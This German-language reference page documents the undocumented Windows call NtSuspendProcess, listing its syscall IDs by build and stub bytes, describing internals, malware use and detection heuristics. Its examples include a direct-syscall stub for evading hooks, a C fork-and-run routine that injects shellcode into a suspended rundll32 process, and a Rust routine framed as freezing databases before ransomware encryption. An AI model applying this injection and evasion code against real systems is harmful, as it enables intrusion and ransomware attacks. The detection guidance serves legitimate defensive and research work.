NtSuspendProcess
Suspendiert alle Threads eines Zielprozesses, indem der Suspend-Zähler jedes Threads erhöht wird.
Prototyp
NTSTATUS NtSuspendProcess( HANDLE ProcessHandle );
Argumente
| Name | Type | Dir | Description |
|---|---|---|---|
| ProcessHandle | HANDLE | in | Handle auf den zu suspendierenden Prozess. Erfordert PROCESS_SUSPEND_RESUME. |
Syscall-IDs pro Windows-Version
| Windows-Version | Syscall-ID | Build |
|---|---|---|
| Win10 1507 | 0x19F | win10-1507 |
| Win10 1607 | 0x1A8 | win10-1607 |
| Win10 1703 | 0x1AE | win10-1703 |
| Win10 1709 | 0x1B1 | win10-1709 |
| Win10 1803 | 0x1B3 | win10-1803 |
| Win10 1809 | 0x1B4 | win10-1809 |
| Win10 1903 | 0x1B5 | win10-1903 |
| Win10 1909 | 0x1B5 | win10-1909 |
| Win10 2004 | 0x1BB | win10-2004 |
| Win10 20H2 | 0x1BB | win10-20h2 |
| Win10 21H1 | 0x1BB | win10-21h1 |
| Win10 21H2 | 0x1BD | win10-21h2 |
| Win10 22H2 | 0x1BD | win10-22h2 |
| Win11 21H2 | 0x1C7 | win11-21h2 |
| Win11 22H2 | 0x1CB | win11-22h2 |
| Win11 23H2 | 0x1CB | win11-23h2 |
| Win11 24H2 | 0x1CE | win11-24h2 |
| Server 2016 | 0x1A8 | winserver-2016 |
| Server 2019 | 0x1B4 | winserver-2019 |
| Server 2022 | 0x1C3 | winserver-2022 |
| Server 2025 | 0x1CE | winserver-2025 |
Kernel-Modul
Verwandte APIs
Syscall-Stub
4C 8B D1 mov r10, rcx B8 CE 01 00 00 mov eax, 0x1CE F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Undokumentierte Hinweise
NtSuspendProcess wird aus ntdll exportiert, ist aber im öffentlichen Windows-SDK nicht dokumentiert; der unterstützte Weg ist der Win32-Wrapper (`SuspendThread` für jeden Thread). Intern durchläuft es EPROCESS ThreadListHead und ruft KeSuspendThread auf jedem Eintrag auf, sodass ein Suspend-Zähler pro Thread geführt wird — ein N-mal suspendierter Prozess benötigt N Resumes. Die SSN steigt über die Builds stetig (0x19F → 0x1CE), da neue Syscalls am Ende der SSDT eingefügt werden; dynamische Auflösung ist Pflicht.
Häufige Malware-Nutzung
Bekannteste Nutzung ist das **Fork & Run**-Sacrificial-Process-Modell von Cobalt Strike / BruteRatel: einen harmlosen Prozess (kanonisch rundll32.exe) suspended spawnen, BOF / Object File des Post-Exploitation-Tools injizieren, ausführen, dann terminieren oder suspended halten bis zur Exfiltration. NtSuspendProcess findet sich auch in **AV-Evasion-Sleeps** — statt im Implant zu schlafen (was Implant geschedult und scanbar lässt), suspended das Implant einen Geschwister-Helper-Prozess, während ETW-Callbacks seltener feuern. Ransomware nutzt es vor der Verschlüsselung, um Datenbanken (`sqlservr.exe`, `oracle.exe`, `mongod.exe`) einzufrieren, damit Datei-Handles freigegeben werden und Lockfiles die In-Place-Verschlüsselung nicht blockieren (LockBit, Royal, BlackCat tun das alle). Schließlich suspendieren Angreifer EDR-Helper-/Scanner-Prozesse, die gegen Termination geschützt sind, aber nicht gegen Suspension.
Erkennungsmöglichkeiten
Telemetrie ist dünn — es gibt kein Sysmon-Event für Prozess-Suspension, und Win32-SuspendThread-Instrumentierung erfasst selten alle Threads eines EPROCESS in einem Tick. Nützliche Quellen: Zustandsübergänge im Stil `Microsoft-Windows-Kernel-Process/ThreadStop` fehlen, aber `Microsoft-Windows-Kernel-Audit-API-Calls` deckt Nt*Process-Aufrufe ab, wenn die Audit-Policy aktiv ist. Heuristik: Ein Prozess mit PROCESS_SUSPEND_RESUME-Handles auf Nicht-Kind-Prozesse, besonders auf Sicherheits- oder Datenbank-Images, ist verdächtig. NtSuspendProcess-Detection mit nachfolgendem NtWriteVirtualMemory + NtResumeProcess desselben Aufrufers für hochzuverlässiges Fork-&-Run-Alerting koppeln.
Direkte Syscall-Beispiele
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtSuspendProcess (SSN 0x1CE on 24H2/2025)
; SSN climbs every release — resolve dynamically across builds.
NtSuspendProcess PROC
mov r10, rcx ; syscall convention
mov eax, 1CEh ; SSN
syscall
ret
NtSuspendProcess ENDPcFork & Run sacrificial spawn
// Sacrificial-process pattern: spawn rundll32.exe suspended, then
// inject and execute a BOF or shellcode inside it. The host implant
// stays clean — only the helper carries the suspicious memory.
#include <windows.h>
typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);
void ForkAndRun(LPVOID shellcode, SIZE_T shellcode_len) {
STARTUPINFOW si = { sizeof si };
PROCESS_INFORMATION pi;
CreateProcessW(L"C:\\Windows\\System32\\rundll32.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
PVOID remote = NULL;
SIZE_T size = shellcode_len;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);
HANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, pi.hProcess,
remote, NULL, 0, 0, 0, 0, NULL);
// pi.hThread stays suspended; only the BOF thread runs to completion.
}rustfreeze DBs before encryption
// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_SUSPEND_RESUME};
extern "system" { fn NtSuspendProcess(handle: HANDLE) -> i32; }
pub unsafe fn freeze(pids: &[u32]) {
for &pid in pids {
let h = OpenProcess(PROCESS_SUSPEND_RESUME, 0, pid);
if !h.is_null() { NtSuspendProcess(h); }
}
}MITRE ATT&CK-Mappings
Last verified: 2026-05-20